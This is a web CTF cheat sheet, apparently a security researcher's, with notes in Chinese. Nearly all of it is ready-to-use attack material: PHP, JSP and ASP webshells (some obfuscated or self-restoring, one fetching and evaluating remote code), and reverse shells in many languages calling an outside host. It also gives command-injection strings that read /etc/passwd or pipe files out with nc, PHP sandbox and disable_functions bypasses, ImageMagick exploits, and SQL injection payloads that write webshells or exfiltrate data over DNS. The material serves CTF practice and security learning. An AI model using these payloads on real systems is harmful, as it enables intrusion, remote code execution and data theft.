Web CTF CheatSheet 🐈
<?php system($_GET["cmd"]); ?>
<?php system($_GET[1]); ?>
<?php system("`$_GET[1]`"); ?>
<?= system($_GET[cmd]);
<?=`$_GET[1]`;
<?php eval($_POST[cmd]);?>
<?php echo `$_GET[1]`;
<?php echo passthru($_GET['cmd']);
<?php echo shell_exec($_GET['cmd']);
<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>
<script language="php">system("id"); </script>
<?php $_GET['a']($_GET['b']); ?>
// a=system&b=ls
// a=assert&b=system("ls")
<?php array_map("ass\x65rt",(array)$_REQUEST['cmd']);?>
// .php?cmd=system("ls")
<?@extract($_REQUEST);@die($f($c));?>
// .php?f=system&c=id
<?php @include($_FILES['u']['tmp_name']);
// 構造 <form action="http://x.x.x.x/shell.php" method="POST" enctype="multipart/form-data">上傳
// 把暫存檔include進來
// From: http://www.zeroplace.cn/article.asp?id=906
<?php $x=~¾¬¬º«;$x($_GET['a']); ?>
// not backdoor (assert)
// .php?a=system("ls")
echo "{${phpinfo()}}";
echo "${system(ls)}";
echo Y2F0IGZsYWc= | base64 -d | sh
// Y2F0IGZsYWc= => cat flag
echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > shell.php
// cat shell.php
// <?php echo 'A PHP Test ';" ?>
echo ^<?php eval^($_POST['a']^); ?^> > a.php
// Windows echo導出一句話
<?php fwrite(fopen("gggg.php","w"),"<?php system(\$_GET['a']);");
<?php
header('HTTP/1.1 404');
ob_start();
phpinfo();
ob_end_clean();
?>
<?php
// 無回顯後門
// e.g. ?pass=file_get_contents('http://kaibro.tw/test')
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
?>
<?=
// 沒有英數字的webshell
$💩 = '[[[[@@' ^ '("(/%-';
$💩(('@@['^'#!/')." /????");
A=fl;B=ag;cat $A$B
解法:restart
<?php
ignore_user_abort(true); // 忽略連線中斷
set_time_limit(0); // 設定無執行時間上限
$file = 'shell.php';
$code = '<?php eval($_POST[a]);?>';
while(md5(file_get_contents($file)) !== md5($code)) {
if(!file_exists($file)) {
file_put_contents($file, $code);
}
usleep(50);
}
?>
解法:restart
<?php
unlink(__FILE__);
ignore_user_abort(true);
set_time_limit(0);
$remote_file = 'http://xxx/xxx.txt';
while($code = file_get_contents($remote_file)){
@eval($code);
sleep(5);
};
?>
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
<%
if("kaibro".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
<%\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u002E\u0067\u0065\u0074\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u0028\u0029\u002E\u0065\u0078\u0065\u0063\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006D\u0065\u0074\u0065\u0072\u0028\u0022\u0069\u0022\u0029\u0029\u003B%>
(效果同 <%Runtime.getRuntime().exec(request.getParameter("i"));%>
)
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="1.2">
<jsp:directive.page contentType="text/html"/>
<jsp:declaration>
</jsp:declaration>
<jsp:scriptlet>
Runtime.getRuntime().exec(request.getParameter("i"));
</jsp:scriptlet>
<jsp:text>
</jsp:text>
</jsp:root>
Lo%C2%A7%C2%94%C2%93@%C2%A5%C2%85%C2%99%C2%A2%C2%89%C2%96%C2%95~%7F%C3%B1K%C3%B0%7F@%C2%85%C2%95%C2%83%C2%96%C2%84%C2%89%C2%95%C2%87~%7F%C2%83%C2%97%C3%B0%C3%B3%C3%B7%7Fon%25L%C2%91%C2%A2%C2%97z%C2%99%C2%96%C2%96%C2%A3@%C2%A7%C2%94%C2%93%C2%95%C2%A2z%C2%91%C2%A2%C2%97~%7F%C2%88%C2%A3%C2%A3%C2%97zaa%C2%91%C2%81%C2%A5%C2%81K%C2%A2%C2%A4%C2%95K%C2%83%C2%96%C2%94a%C3%91%C3%A2%C3%97a%C3%97%C2%81%C2%87%C2%85%7F%25@@%C2%A5%C2%85%C2%99%C2%A2%C2%89%C2%96%C2%95~%7F%C3%B1K%C3%B2%7Fn%25L%C2%91%C2%A2%C2%97z%C2%84%C2%89%C2%99%C2%85%C2%83%C2%A3%C2%89%C2%A5%C2%85K%C2%97%C2%81%C2%87%C2%85@%C2%83%C2%96%C2%95%C2%A3%C2%85%C2%95%C2%A3%C3%A3%C2%A8%C2%97%C2%85~%7F%C2%A3%C2%85%C2%A7%C2%A3a%C2%88%C2%A3%C2%94%C2%93%7Fan%25L%C2%91%C2%A2%C2%97z%C2%84%C2%85%C2%83%C2%93%C2%81%C2%99%C2%81%C2%A3%C2%89%C2%96%C2%95n%25La%C2%91%C2%A2%C2%97z%C2%84%C2%85%C2%83%C2%93%C2%81%C2%99%C2%81%C2%A3%C2%89%C2%96%C2%95n%25L%C2%91%C2%A2%C2%97z%C2%A2%C2%83%C2%99%C2%89%C2%97%C2%A3%C2%93%C2%85%C2%A3n%25%C3%99%C2%A4%C2%95%C2%A3%C2%89%C2%94%C2%85K%C2%87%C2%85%C2%A3%C3%99%C2%A4%C2%95%C2%A3%C2%89%C2%94%C2%85M%5DK%C2%85%C2%A7%C2%85%C2%83M%C2%99%C2%85%C2%98%C2%A4%C2%85%C2%A2%C2%A3K%C2%87%C2%85%C2%A3%C3%97%C2%81%C2%99%C2%81%C2%94%C2%85%C2%A3%C2%85%C2%99M%7F%C2%89%7F%5D%5D%5E%25La%C2%91%C2%A2%C2%97z%C2%A2%C2%83%C2%99%C2%89%C2%97%C2%A3%C2%93%C2%85%C2%A3n%25L%C2%91%C2%A2%C2%97z%C2%A3%C2%85%C2%A7%C2%A3n%25La%C2%91%C2%A2%C2%97z%C2%A3%C2%85%C2%A7%C2%A3n%25La%C2%91%C2%A2%C2%97z%C2%99%C2%96%C2%96%C2%A3n%25
(效果同上 JSPX webshell: Runtime.getRuntime().exec(request.getParameter("i"));
)
${Runtime.getRuntime().exec("touch /tmp/pwned")}
<%eval request("kaibro")%>
<%execute request("kaibro")%>
<%ExecuteGlobal request("kaibro")%>
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
<%@ Page Language="Jscript"%><%eval(Request.Item["kaibro"],"unsafe");%>
<%if (Request.Files.Count!=0){Request.Files[0].SaveAs(Server.MapPath(Request["f"]));}%>
本機Listen Port
ncat -vl 5566
Perl
perl -e 'use Socket;$i="kaibro.tw";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Bash
bash -i >& /dev/tcp/kaibro.tw/5566 0>&1
bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'
0<&196;exec 196<>/dev/tcp/kaibro.tw/5566; sh <&196 >&196 2>&196
PHP
php -r '$sock=fsockopen("kaibro.tw",5566);exec("/bin/sh -i <&3 >&3 2>&3");'
NC
nc -e /bin/sh kaibro.tw 5566
Telnet
mknod backpipe p && telnet kaibro.tw 5566 0<backpipe | /bin/bash 1>backpipe
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("kaibro.tw",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("kaibro.tw","5566");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Node.js
var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(5566, "kaibro.tw", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'");
Java
Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/kaibro.tw/5278;cat <&5 | while read line; do $line 2>&5 >&5; done"});p.waitFor();
java.lang.Runtime.exec()
payload generator: http://www.jackson-t.ca/runtime-exec-payloads.html
Powershell
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c kaibro.tw -p 5566 -e cmd
<? ?>
<?=
PHP 5.4.0
起,always work!<% %>
、<%=
PHP 7.0.0
起,被移除asp_tags
設成On<script language="php"
PHP 7.0.0
起,被移除<script language="php">system("id"); </script>
var_dump('0xABCdef' == ' 0xABCdef');
var_dump('0010e2' == '1e3’);
strcmp([],[])
sha1([])
'123' == 123
'abc' == 0
'123a' == 123
'0x01' == 1
var_dump('0x01' == 1)
=> false'' == 0 == false == NULL
md5([1,2,3]) == md5([4,5,6]) == NULL
var_dump(md5(240610708));
var_dump(sha1(10932435112));
$a="123"; $b="456"
$a + $b == "579";
$a . $b == "123456"
$a = 0; $b = 'x';
$a == false
=> true$a == $b
=> true$b == true
=> true$a = 'a'
++$a
=> 'b'
$a+1
=> 1
intval('1000000000000')
=> 2147483647
intval('100000000000000000000')
=> 9223372036854775807
php -r "var_dump(1.000000000000001 == 1);"
php -r "var_dump(1.0000000000000001 == 1);"
$a = 0.1 * 0.1; var_dump($a == 0.01);
var_dump(ereg("^[a-zA-Z0-9]+$", "1234\x00-!@#%"));
1
ereg
和 eregi
在 PHP 7.0.0 已經被移除var_dump(intval('5278.8787'));
5278
intval(012)
=> 10intval("012")
=> 12extract($_GET);
.php?_SESSION[name]=admin
echo $_SESSION['name']
=> 'admin'" "
(0x20)"\t"
(0x09)"\n"
(0x0A)"\x0B"
(0x0B)"\r"
(0x0D)"\0"
(0x00)"\f"
(0x0C)
is_numeric()
允許 \f
在開頭is_numeric(" \t\r\n 123")
=> true
is_numeric(' 87')
=> true
is_numeric('87 ')
=> false
is_numeric(' 87 ')
=> false
is_numeric('0xdeadbeef')
false
true
以下亦為合法(返回 True)字串:
' -.0'
'0.'
' +2.1e5'
' -1.5E+25'
'1.e5'
in_array('5 or 1=1', array(1, 2, 3, 4, 5))
in_array('kaibro', array(0, 1, 2))
in_array(array(), array('kai'=>false))
in_array(array(), array('kai'=>null))
in_array(array(), array('kai'=>0))
in_array(array(), array('kai'=>'bro'))
in_array('kai', array('kai'=>true))
in_array('kai', array('kai'=>'bro'))
in_array('kai', array('kai'=>0))
in_array('kai', array('kai'=>1))
mixed array_search(mixed $needle , array $haystack [, bool $strict = false ])
haystack
陣列中,搜尋 needle
的值,成功則返回 index,失敗返回 False$strict
為 false 時,採用不嚴格比較
$arr=array(1,2,0); var_dump(array_search('kai', $arr))
int(2)
$arr=array(1,2,0); var_dump(array_search('1', $arr))
int(0)
parse_str(string, array)
會把查詢字串解析到變數中
如果未設置第二個參數,會解析到同名變數中
E_DEPRECATED
警告parse_str('gg[kaibro]=5566');
array(1) {
["kaibro"]=>
string(4) "5566"
}
PHP 變數有空格和.
,會被轉成底線
parse_str("na.me=kaibro&pass wd=ggininder",$test);
var_dump($test);
array(2) {
["na_me"]=> string(6) "kaibro"
["pass_wd"]=> string(9) "ggininder"
}
在處理傳入的 URL 會有問題
parse_url('/a.php?id=1')
array(2) {
["host"]=>
string(5) "a.php"
["query"]=>
string(4) "id=1"
}
parse_url('//a/b')
a
parse_url('..//a/b/c:80')
..
80
//a/b/c:80
parse_url('///a.php?id=1')
parse_url('/a.php?id=1:80')
false
array(2) {
["path"]=> string(6) "/a.php"
["query"]=> string(7) "id=1:80"
}
parse_url('http://kaibro.tw:87878')
array(3) {
["scheme"]=> string(4) "http"
["host"]=> string(9) "kaibro.tw"
["port"]=> int(22342)
}
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
$subject
中匹配的 $pattern
,並用 $replacement
替換/e
修飾符,$replacement
會被當成 PHP code 執行
E_DEPRECATED
錯誤preg_replace_callback()
代替example:
<?php
$a='phpkaibro';
echo preg_replace('/(.*)kaibro/e','\\1info()',$a);
%\
、%'
、%1$\'
%' and 1=1#
中的單引號會被轉義成 \'
,%\
又會被吃掉,'
成功逃逸default
不處理<?php
$test = $_GET['txt'];
if(preg_match('[<>?]', $test)) die('bye');
file_put_contents('output', $test);
?txt[]=<?php phpinfo(); ?>
寫入spl_autoload_register()
可以自動載入 Class.inc
和 .php
spl_autoload_register()
會把這個 Class 載入進來a.php/.
file_put_contents("a.php/.", "<?php phpinfo() ?>");
file_get_contents("a.php/.");
"
=> .
a"php
>
=> ?
a.p>p
a.>>>
<
=> *
a.<
$_GET
會對傳入的參數做 URLdecode 再返回$_SERVER['REQUEST_URI']
和 $_SERVER['QUERY_STRING']
則是直接返回Example:
Request: http://kaibro.tw/test.php?url=%67%67
$_GET: [url] => gg
$_SERVER['REQUEST_URI']: /test.php?url=%67%67
$_SERVER['QUERY_STRING']: url=%67%67
透過將 PHP 腳本編譯成 Byte code 的方式做 Cache 來提升性能
相關設定在 php.ini 中
opcache.enable
是否啟用opcache.file_cache
設定 cache 目錄
opcache.file_cache="/tmp/opcache"
/var/www/index.php
的暫存會放在 /tmp/opcache/[system_id]/var/www/index.php.bin
opcache.file_cache_only
設定 cache 文件優先級opcache.validate_timestamps
是否啟用 timestamp 驗證system_id
是透過 Zend 和 PHP 版本號計算出來的,可以確保相容性
所以在某些條件下可透過上傳覆蓋暫存文件來寫 webshell
https://github.com/GoSecure/php7-opcache-override
Example
pcre.backtrack_limit
1000000
preg_match()
會返回 false
$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
chdir('img');
ini_set('open_basedir','..');
chdir('..');chdir('..');
chdir('..');chdir('..');
ini_set('open_basedir','/');
echo(file_get_contents('flag'));
mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar');
unlink('foo');
symlink('/var/www/html/','foo');
echo file_get_contents('bar/etc/passwd');
Fastcgi
...
bash shellshock
mail()
sendmail
mb_send_mail()
imap_mail()
imap_open()
<?php
$payload = "echo hello|tee /tmp/executed";
$encoded_payload = base64_encode($payload);
$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";
@imap_open('{'.$server.'}:143/imap}INBOX', '', '');
error_log()
message_type
為 1 時,會去調用 sendmailImageMagick
LD_PRELOAD + ghostscript:
eps
LD_PRELOAD + ffpmeg
MAGICK_CODER_MODULE_PATH
MAGICK_CONFIGURE_PATH
delegates.xml
定義處理各種文件的規則<delegatemap>
<delegate decode="ps:alpha" command="sh -c "/readflag > /tmp/output""/>
</delegatemap>
蓋PATH
+ ghostscript:
#include <stdlib.h>
#include <string.h>
int main() {
unsetenv("PATH");
const char* cmd = getenv("CMD");
system(cmd);
return 0;
}
putenv('PATH=/tmp/mydir');
putenv('CMD=/readflag > /tmp/mydir/output');
chmod('/tmp/mydir/gs','0777');
$img = new Imagick('/tmp/mydir/1.ept');
dl()
dl("rce.so")
FFI
<?php
$ffi = FFI::cdef("int system (const char* command);");
$ffi->system("id");
Windows COM
com.allow_dcom = true
extension=php_com_dotnet.dll
<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // Shell.Application 也可
$exec = $wsh->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
iconv
.so
, gconv-modules
iconv()
, iconv_strlen()
, php://filter的convert.iconv
PHP SplDoublyLinkedList UAF Sandbox Escape
族繁不及備載......
大小寫不敏感
<?PhP sYstEm(ls);
echo (true ? 'a' : false ? 'b' : 'c');
b
echo `whoami`;
kaibro
正規表達式 .
不匹配換行字元 %0a
正規表達式常見誤用:
preg_match("/\\/", $str)
\\\\
而不是 \\
運算優先權問題
$a = true && false;
$a
=> false
$a = true and false;
$a
=> true
chr()
chr(259) === chr(3)
chr(-87) === chr(169)
遞增
$a="9D9"; var_dump(++$a);
string(3) "9E0"
$a="9E0"; var_dump(++$a);
float(10)
算數運算繞Filter
%f3%f9%f3%f4%e5%ed & %7f%7f%7f%7f%7f%7f
system
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
assert
~
, ++
等運算,也都可用類似概念構造花括號
$array{index}
同 $array[index]
filter_var
filter_var('http://evil.com;google.com', FILTER_VALIDATE_URL)
filter_var('0://evil.com;google.com', FILTER_VALIDATE_URL)
filter_var('"aaaaa{}[]()\'|!#$%*&^-_=+`,."@b.c',FILTER_VALIDATE_EMAIL)
"aaaaa{}[]()'|!#$%*&^-_=+
,."@b.c` (OK)filter_var('aaa."bbb"@b.c',FILTER_VALIDATE_EMAIL)
aaa."bbb"@b.c
(OK)filter_var('aaa"bbb"@b.c',FILTER_VALIDATE_EMAIL)
json_decode
\uxxxx
形式
json_decode('{"a":"\u0041"}')
=== bug
var_dump([0 => 0] === [0x100000000 => 0])
openssl_verify
Namespace
\
\system('ls');
basename (php bug 62119)
basename("index.php/config.php/喵")
config.php
strip_tags (php bug 78814)
strip_tags("<s/trong>b</strong>", "<strong>")
<s/trong>b</strong>
mb_strpos / mb_substr
mb_strpos
讀到 utf-8 leading byte ,他會繼續嘗試往下讀; 遇到 invalid byte 時,前面的內容會被當成一個 character
mb_strpos("\xf0\x9fAAA<BB", '<')
-> 4
mb_substr
則有不一致,當遇到 leading byte 時,會跳過 continuation bytes
mb_substr("\xf0\x9fAAA<BB", 0, 4)
-> "\xf0\x9fAAA<B"
| cat flag
&& cat flag
; cat flag
%0a cat flag
"; cat flag
`cat flag`
cat $(ls)
"; cat $(ls)
`cat flag | nc kaibro.tw 5278`
. flag
PS1=$(cat flag)
`echo${IFS}${PATH}|cut${IFS}-c1-1`
=> /
?
match one character
cat fl?g
/???/??t /???/p??s??
*
match 多個
cat f*
cat f?a*
${IFS}
cat${IFS}flag
ls$IFS-alh
cat$IFS$2flag
cat</etc/passwd
{cat,/etc/passwd}
X=$'cat\x20/etc/passwd'&&$X
IFS=,;`cat<<<uname,-a`
String Concat
A=fl;B=ag;cat $A$B
Empty Variable
cat fl${x}ag
cat tes$(z)t/flag
Environment Variable
$PATH => "/usr/local/….blablabla”
${PATH:0:1} => '/'
${PATH:1:1} => 'u'
${PATH:0:4} => '/usr'
${PS2}
>
${PS4}
+
Empty String
cat fl""ag
cat fl''ag
cat "fl""ag"
反斜線
c\at fl\ag
mvg
格式包含 https 處理(使用 curl 下載),可以閉合雙引號push graphic-context
viewbox 0 0 640 480
fill 'url(https://kaibro.tw";ls "-la)'
pop graphic-context
Some Debians appear to have insecure ImageMagick configuration by default
<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
<image width="120" height="120" href="text:/etc/passwd" />
</svg>
<image> <!-- ImageMagick's legend is "image processing" so the tag is named "image". -->
<read filename="image.png" /> <!-- To make the legend more compelling "image.png" is checked to be a valid image file. -->
<write filename="/var/www/html/shell.php" /> <!-- This line gives access to a hacker accomplishing the mission of the MSL format and ImageMagick in general -->
</image>
open("| ls")
IO.popen("ls").read
Kernel.exec("ls")
Kernel.method("open").call("|ls").read()
`ls`
system("ls")
eval("ruby code")
$$/$$
=> 1'' << 97 << 98 << 99
=> "abc"$:
即$LOAD_PATH
exec("ls")
%x{ls}
/ %x'ls'
/ %x[ls]
/ %x(ls)
/ %x;ls;
"Process".constantize.spawn("id")
Process.spawn("id")
PTY.spawn("id")
Kernel#open
os.system("ls")
os.popen("ls").read()
os.execl("/bin/ls","")
os.execlp("ls","")
os.execv("/bin/ls",[''])
os.execvp("/bin/ls",[""])
subprocess.call("ls")
subprocess.call("ls|cat",shell=False)
=> Failsubprocess.call("ls|cat",shell=True)
=> Correcteval("__import__('os').system('ls')")
exec("__import__('os').system('ls')")
commands.getoutput('ls')
子字串:
substr("abc",1,1) => 'a'
mid("abc", 1, 1) => 'a'
Ascii function
ascii('A') => 65
Char function
char(65) => 'a'
Concatenation
CONCAT('a', 'b') => 'ab'
CONCAT_WS(分隔符, 字串1, 字串2...)
CONCAT_WS('@', 'gg', 'inin')
=> gg@inin
Cast function
CAST('125e342.83' AS signed) => 125
CONVERT('23',SIGNED) => 23
Delay function
sleep(5)
BENCHMARK(count, expr)
空白字元
09 0A 0B 0C 0D A0 20
File-read function
LOAD_FILE('/etc/passwd')
LOAD DATA INFILE
secure_file_priv
, FILE
privilege 限制 (ref: link)LOAD DATA LOCAL INFILE
Server 讀 Client 文件
LOAD DATA LOCAL INFILE '/etc/hosts' INTO TABLE test FIELDS TERMINATED BY "\n";
不需要 FILE
privilege,且任意目錄檔案皆可讀 (只要 Client 有權限即可)
support UNC Path
LOAD DATA LOCAL INFILE '\\\\172.16.136.153\\test' into table mysql.test FIELDS TERMINATED BY "\n";
Trigger phar deserialization
LOAD DATA LOCAL INFILE 'phar://test.phar/test' INTO TABLE a LINES TERMINATED BY '\n'
[mysqld]
local-infile=1
secure_file_priv=""
Tool
Example
load_file('//kaibro.tw@9478/meow.php')
/ load_file('\\\\kaibro.tw@9478/meow.php')
@
指定 Port)File-write
INTO DUMPFILE
INTO OUTFILE
UNION SELECT "<? system($_GET[1]);?>",2,3 INTO OUTFILE "/var/www/html/temp/shell.php"
SELECT file_priv FROM mysql.user
secure_file_priv=E:\
secure_file_priv=null
SET global general_log='on';
SET global general_log_file='C:/phpStudy/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';
IF語句
SELECT IF (1=1,'true','false')
Hex
SELECT X'5061756c'; => paul
SELECT 0x5061756c; => paul
SELECT 0x5061756c+0 => 1348564332
SELECT load_file(0x2F6574632F706173737764);
'
=> \'
)'admin'
=> CHAR(97, 100, 109, 105, 110)
註解:
#
--
/**/
*/
可以閉合前面多個 /*
/*! 50001 select * from test */
SELECT /*!32302 1/0, */ 1 FROM tablename
;
information_schema
Stacking Query
其它:
select group_concat(username) from users;
一次返回所有使用者名SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES
greatest(a, b)
返回 a, b 中最大的greatest(1, 2)=2
greatest(1, 2)=1
greatest(1, 2) between 1 and 3
SELECT 'abc' regexp '.*'
*_ci
case insensitive collation 不區分大小寫*_cs
case sensitive collation 區分大小寫*_bin
binary case sensitive collation 區分大小寫Union Based
union select 1,2,3...N
order by N
找最後一個成功的 NAND 1=2 UNION SELECT 1, 2, password FROM admin--+
LIMIT N, M
跳過前 N 筆,抓 M 筆union select 1,2,schema_name from information_schema.schemata limit 1,1
union select 1,2,table_name from information_schema.tables where table_schema='mydb' limit 0,1
union select 1,2,table_name from information_schema.columns where table_schema='mydb' limit 0,1
union select 1,2,column_name from information_schema.columns where table_schema='mydb' limit 0,1
SELECT CONCAT(user, ":" ,password) FROM mysql.user;
Error Based
#define ERRMSGSIZE (512)
SELECT ~0
=> 18446744073709551615
SELECT ~0 + 1
=> ERRORSELECT exp(709)
=> 8.218407461554972e307
SELECT exp(710)
=> ERRORSELECT exp(~(SELECT * FROM (SELECT user())x));
ERROR 1690(22003):DOUBLE value is out of range in 'exp(~((SELECT 'root@localhost' FROM dual)))'
select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'
select extractvalue(1,concat(0x7e,(select @@version),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
select count(*) from test group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'
select ST_LatFromGeoHash(version());
select ST_LongFromGeoHash(version());
select GTID_SUBSET(version(),1);
select GTID_SUBTRACT(version(),1);
select ST_PointFromGeoHash(version(),1);
information_schema
等關鍵字時,可以用下面方法爆庫名
select 1,2,3 from users where 1=abc();
ERROR 1305 (42000): FUNCTION fl4g.abc does not exist
select 1,2,3 from users where Polygon(id);
select 1,2,3 from users where linestring(id);
ERROR 1367 (22007): Illegal non geometric '`fl4g`.`users`.`id`' value found during parsing
select 1,2,3 from users where (select * from (select * from users as a join users as b)as c);
ERROR 1060 (42S21): Duplicate column name 'id'
select 1,2,3 from users where (select * from (select * from users as a join users as b using(id))as c);
ERROR 1060 (42S21): Duplicate column name 'username'
Blind Based (Time/Boolean)
id=87 and length(user())>0
id=87 and length(user())>100
id=87 and ascii(mid(user(),1,1))>100
id=87 or ((select user()) regexp binary '^[a-z]')
id=87 and if(length(user())>0, sleep(10), 1)=1
id=87 and if(length(user())>100, sleep(10), 1)=1
id=87 and if(ascii(mid(user(),1,1))>100, sleep(10), 1)=1
Out of Bnad
select load_file(concat("\\\\",schema_name,".dns.kaibro.tw/a")) from information_schema.schemata
繞過空白檢查
id=-1/**/UNION/**/SELECT/**/1,2,3
id=-1%09UNION%0DSELECT%0A1,2,3
id=(-1)UNION(SELECT(1),2,3)
寬字節注入
addslashes()
會讓 '
變 \'
GBK
編碼中,中文字用兩個 Bytes 表示
0x5c
(\
)%df'
=> %df\'
=> 運'
(成功逃逸)Order by注入
asc
、desc
簡單判斷
?sort=1 asc
?sort=1 desc
?order=IF(1=1, username, password)
?order=IF(1=1,1,(select 1 union select 2))
正確?order=IF(1=2,1,(select 1 union select 2))
錯誤?order=IF(1=1,1,(select 1 from information_schema.tables))
正常?order=IF(1=2,1,(select 1 from information_schema.tables))
錯誤?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))
正常?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))
sleep 2秒group by with rollup
' or 1=1 group by pwd with rollup limit 1 offset 2#
將字串轉成純數字
conv(hex(YOUR_DATA), 16, 10)
unhex(conv(DEC_DATA,10,16))
不使用逗號
LIMIT N, M
=> LIMIT M OFFSET N
mid(user(), 1, 1)
=> mid(user() from 1 for 1)
UNION SELECT 1,2,3
=> UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)
快速查找帶關鍵字的表
select table_schema,table_name,column_name from information_schema.columns where table_schema !=0x696E666F726D6174696F6E5F736368656D61 and table_schema !=0x6D7973716C and table_schema !=0x706572666F726D616E63655F736368656D61 and (column_name like '%pass%' or column_name like '%pwd%');
不知列名、不能訪問 information_schema 爆數據
select title from article where id = 4 and 0 union SELECT group_concat(a, 0x3a, b) FROM (SELECT 1 a,2 b,3 c UNION SELECT * FROM admin)x
innodb
select table_name from mysql.innodb_table_stats where database_name=資料庫名;
sys
sys.statements_with_full_table_scans
select query from sys.statements_with_full_table_scans
Bypass WAF
select password
=> SelEcT password
(大小寫)select password
=> select/**/password
(繞空白)select password
=> s%65lect%20password
(URLencode)select password
=> select(password)
(繞空白)select password
=> select%0apassword
(繞空白)
select password from admin
=> select password /*!from*/ admin
(MySQL註解)information_schema.schemata
=> `information_schema`.schemata
(繞關鍵字/空白)
select xxx from`information_schema`.schemata
select pass from user where id='admin'
=> select pass from user where id=0x61646d696e
(繞引號)
id=concat(char(0x61),char(0x64),char(0x6d),char(0x69),char(0x6e))
?id=0e2union select 1,2,3
(科學記號)
?id=1union select 1,2,3
會爛?id=0e1union(select~1,2,3)
(~)?id=.1union select 1,2,3
(點)WHERE
=> HAVING
(繞關鍵字)AND
=> &&
(繞關鍵字)
OR
=> ||
=
=> LIKE
a = 'b'
=> not a > 'b' and not a < 'b'
> 10
=> not between 0 and 10
LIMIT 0,1
=> LIMIT 1 OFFSET 0
(繞逗號)
substr('kaibro',1,1)
=> substr('kaibro' from 1 for 1)
phpMyAdmin
select "<?php phpinfo();?>" INTO OUTFILE "c:\\phpstudy\\www\\shell.php"
set global general_log = "ON";
set global general_log_file = "/var/www/html/shell.php";
select "<?php phpinfo();?>";
set GLOBAL slow_query_log_file='/var/www/html/shell.php';
set GLOBAL slow_query_log=on;
select '<?php phpinfo();?>' from mysql.db where sleep(10);
CREATE DATABASE foo;CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';
/chk_rel.php?fixall_pmadb=1&db=foo
INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_{SESSIONID}','plop';
/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
index.php?target=db_sql.php%253f/../../../../../../windows/system.ini
index.php?target=sql.php%253f/../../../tmp/tmp/sess_16rme70p2qqnqjnhdiq3i6unu
phpMyAdmin
得到preg_replace
RCEgis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00
(需修改token)'localhost'@'@"
子字串:
SUBSTRING("abc", 1, 1) => 'a'
Ascii function
ascii('A') => 65
Char function
char(65) => 'a'
Concatenation
+
'a'+'b' => 'ab'
Delay function
WAITFOR DELAY '0:0:10'
空白字元
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
IF 語句
IF (1=1) SELECT 'true' ELSE SELECT 'false'
註解:
--
/**/
TOP
LIMIT N, M
的用法SELECT TOP 87 * FROM xxx
